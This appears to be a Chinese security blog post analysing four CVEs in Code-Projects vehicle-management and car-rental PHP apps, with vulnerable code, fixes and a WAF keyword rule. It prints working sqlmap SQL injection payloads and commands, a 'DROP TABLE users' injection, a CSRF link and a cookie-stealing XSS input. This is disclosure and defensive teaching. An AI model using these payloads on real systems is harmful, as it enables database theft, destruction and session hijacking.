情景导入
1.Code-Projects Vehicle Management 1.0(车辆管理系统)
Code-Projects Vehicle Management 1.0(车辆管理系统)是一款专注于车辆全生命周期管理的软件系统,通过数字化手段优化企业或个人对车辆的调度、维护、监控及费用管理。
核心功能:
✅ 车辆信息管理 | ✅ 驾驶员管理 | ✅ 维护与维修 | ✅ 调度与任务分配 | ✅ 安全与监控
2.Code-Projects Simple Car Rental System 1.0(汽车租赁系统)
Code-Projects Simple Car Rental System 1.0(汽车租赁系统)是一个轻量级租赁管理工具,面向小型租赁公司或个人用户,提供车辆租赁、归还、费用计算及基础客户管理功能,强调操作简便性和快速部署。
核心功能:
✅ 车辆与客户管理 | ✅ 租赁流程自动化 | ✅ 费用管理 | ✅ 基础库存监控 | ✅ 简单权限控制
技术架构(均为):
• 前端:PHP动态页面(用户交互)
• 后端:MySQL数据库(数据存储), Redis 缓存热门数据。
• 通信协议:HTTP/HTTPS
漏洞全景图
漏洞类型 |
CVSS评分 |
影响系统 |
攻击复杂度 |
潜在危害 |
涉及CVE漏洞 |
SQL注入(车辆管理) |
7.3(高危) |
VM系统 |
低 |
数据库数据泄露、篡改、破坏 |
CVE-2025-8329 CVE-2025-8330 |
CSRF(汽车租赁) |
4.3(中低) |
CRS系统 |
低 |
用户非预期操作 |
CVE-2025-8335 |
XSS(汽车租赁) |
2.4(低) |
CRS系统 |
低 |
用户会话劫持、前端数据篡改 |
CVE-2025-8337 |
漏洞信息可视化:
CVE-2025-8337(/admin/add_vehicles.php XSS脚本注入攻击)
CVE-2025-8335( CSRF漏洞 )
CVE-2025-8330(/edit1.php SQL注入)
Payload:
---
Parameter: sno (POST)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: sno=(SELECT (CASE WHEN (3061=3061) THEN 11 ELSE (SELECT 7860 UNION SELECT 8614) END))
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: sno=11 OR (SELECT 6845 FROM(SELECT COUNT(*),CONCAT(0x716a6b6a71,(SELECT (ELT(6845=6845,1))),0x7178786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: sno=11 AND (SELECT 7803 FROM (SELECT(SLEEP(5)))uMTS)
---
通过测试和运行SQL map工具获得的一些特定信息的屏幕截图:
sqlmap -u "http:/127.0.0.1/vehicle/edit1.php" --data="sno" --batch --dbs
CVE-2025-8329(/filter3.php SQL注入)
Payload:
---
Parameter: company (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: company=-1764' OR 4648=4648#
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: company=SRI_KRISHNA_ENTERPRISES' AND (SELECT 3300 FROM(SELECT COUNT(*),CONCAT(0x7170766271,(SELECT (ELT(3300=3300,1))),0x7162706a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- Khlo
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: company=SRI_KRISHNA_ENTERPRISES' AND (SELECT 4694 FROM (SELECT(SLEEP(5)))QtLb)-- KWsV
Type: UNION query
Title: MySQL UNION query (NULL) - 24 columns
Payload: company=SRI_KRISHNA_ENTERPRISES' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7170766271,0x4d79784c6a56747a504872657a4854625075744d69746557766a4c4768707551524b737076484c69,0x7162706a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
---
测试和运行SQL map工具获得的一些特定信息的屏幕截图:
sqlmap -u "http:/127.0.0.1/vehicle/filter3.php" --data="company" --batch --dbs
漏洞剖析与防御策略
1. CVE-2025-8329:VMS过滤器3.php SQL注入漏洞
漏洞本质:未对用户输入参数company进行SQL转义,导致攻击者可注入恶意SQL代码。
漏洞代码示例(/filter3.php):
// 危险代码:直接拼接用户输入到SQL语句(无任何过滤)
$company = $_GET['company'];
$query = "SELECT * FROM vehicles WHERE company = '$company'";
$result = mysqli_query($conn, $query);
此代码中,$company参数直接拼接到SQL语句中,攻击者可通过构造company=1' OR 1=1--注入OR 1=1,使SQL语句变为:
SELECT * FROM vehicles WHERE company = '1' OR 1=1--'
--为SQL注释符,后续条件被忽略,攻击者可获取所有车辆数据。
攻击流程图
修复建议
官方补丁:联系厂商(https://code-projects.org/)获取最新版本,覆盖/filter3.php文件。
临时防护:
• 使用PHP PDO预处理语句(参数化查询):
// 安全代码:预处理语句防止注入
$company = $_GET['company'];
$stmt = $pdo->prepare("SELECT * FROM vehicles WHERE company = ?");
$stmt->execute([$company]); // 参数自动转义
• 部署WAF拦截含UNION SELECT、DROP TABLE等关键字的请求(示例规则):
(?i)(?:\bfilter3\.php\?.*?company\s*=\s*['"].*(?:union|select|insert|update|delete|drop|alter|exec|xp_).*?['"])
2. CVE-2025-8330:VMS Edit1.php SQL注入漏洞
与CVE-2025-8329同属SQL注入漏洞,核心缺陷为:未对sno参数进行SQL转义。
漏洞代码示例(/edit1.php):
// 危险代码:直接拼接用户输入到SQL更新语句(无过滤)
$sno = $_GET['sno'];
$stmt = "UPDATE vehicles SET status = 'active' WHERE sno = '$sno'";
mysqli_query($conn, $stmt);
攻击者可构造sno=1'; DROP TABLE users;--,使SQL变为:
UPDATE vehicles SET status = 'active' WHERE sno = '1'; DROP TABLE users;--'导致users表被删除。
攻击流程图
修复建议
官方补丁:同步更新VMS至最新版本,重点修复/edit1.php中sno参数的处理逻辑。
临时防护:
• 对sno参数实施白名单校验(仅允许数字类型):
if (!is_numeric($_GET['sno'])) {
die("非法参数:sno必须为数字");
}
$sno = (int)$_GET['sno']; // 强制转换为整数
3. CVE-2025-8335:CRS跨站请求伪造(CSRF)漏洞
漏洞本质:未验证请求来源合法性,攻击者可诱导已登录用户执行非预期操作(如修改订单)。
典型攻击场景:
1. 用户登录CRS系统(保持会话,Cookie为session=abc123);
2. 攻击者发送恶意链接(如http://crs.example.com/update_order.php?order_id=123&action=cancel);
3. 用户点击链接,浏览器自动携带会话Cookie发送请求;
4. 系统误认为是用户主动操作,执行cancel操作。
攻击流程图
修复建议
官方补丁:联系厂商(https://github.com/i-Corner/cve/issues/12)获取修复版本。
临时防护:
• 为敏感操作添加CSRF令牌:
<!-- 表单中添加隐藏的CSRF令牌 -->
<form action="/update_order.php" method="POST">
<input type="hidden" name="csrf_token" value="<?= generate_csrf_token() ?>">
<input type="hidden" name="order_id" value="123">
<button type="submit">取消订单</button>
</form>
(后端验证csrf_token是否与会话中存储的令牌一致)
• 限制Referer头来源(仅允许code-projects.org):
$referer = $_SERVER['HTTP_REFERER'] ?? '';
if (!str_contains($referer, 'code-projects.org')) {
die("非法请求来源");
}
4. CVE-2025-8337:CRS XSS漏洞
漏洞触发点
// /admin/add_vehicles.php 原始代码(危险代码)
$car_name = $_POST['car_name'];
echo "<div>车辆名称:" . $car_name . "</div>"; // 未对输出转义
漏洞本质:直接输出用户输入的 car_name 参数,未进行 HTML 实体编码,导致恶意脚本注入。
攻击逻辑
• 攻击者构造恶意输入:
POST /admin/add_vehicles.php HTTP/1.1
Host: target.com
car_name=<script>alert(document.cookie)</script>
• 数据存储与触发:
1. 恶意 car_name 被存储至数据库。
2. 管理员访问车辆列表页面时,脚本从数据库读取并执行。
攻击流程图
修复方案
1. 临时缓解措施(输出转义)
// 安全代码:使用htmlspecialchars转义输出
$car_name = $_POST['car_name'];
echo "<div>车辆名称:" . htmlspecialchars($car_name, ENT_QUOTES, 'UTF-8') . "</div>";
原理:将 < 转义为 <,> 转义为 >,阻止脚本解析。
2. 长期防御方案
输入过滤:
// 使用正则过滤非字母数字字符
$car_name = preg_replace('/[^a-zA-Z0-9\s\-]/', '', $_POST['car_name']);
框架级防护:
采用 Laravel Blade 模板引擎,默认自动转义输出:
{{-- 安全输出 --}}
<div>车辆名称:{{ $car_name }}</div>
总结启示
本次披露的漏洞集中暴露了code-projects旗下系统在输入验证、权限控制、安全编码等方面的缺陷。其中,车辆管理系统的SQL注入漏洞风险最高,需优先修复;汽车租赁系统的CSRF和XSS漏洞虽风险较低,但需同步处理以避免连锁攻击。
1. 输入即威胁:任何用户可控输入都必须过滤
2. 修复成本曲线:早期发现漏洞修复成本比后期低90%
3. 防御叠加效应:WAF+参数化查询+日志审计形成有效防护网
行动号召:
立即使用https://www.aliyun.com/product/vulnerability-scanning进行免费检测!
道德与法律约束
文中涉及的网络安全技术研究均遵循 合法合规原则:
1所有渗透测试仅针对 本地授权靶机环境
2技术演示均在 获得书面授权的模拟平台 完成
3坚决抵制任何未授权渗透行为
技术资料获取
如需完整实验代码、工具配置详解及靶机搭建指南:
请关注微信公众号 「零日破晓」
后台回复关键词 【博客资源】 获取独家技术文档包
法律追责提示
对于任何:
盗用文章内容
未授权转载
恶意篡改原创声明
本人保留法律追究权利。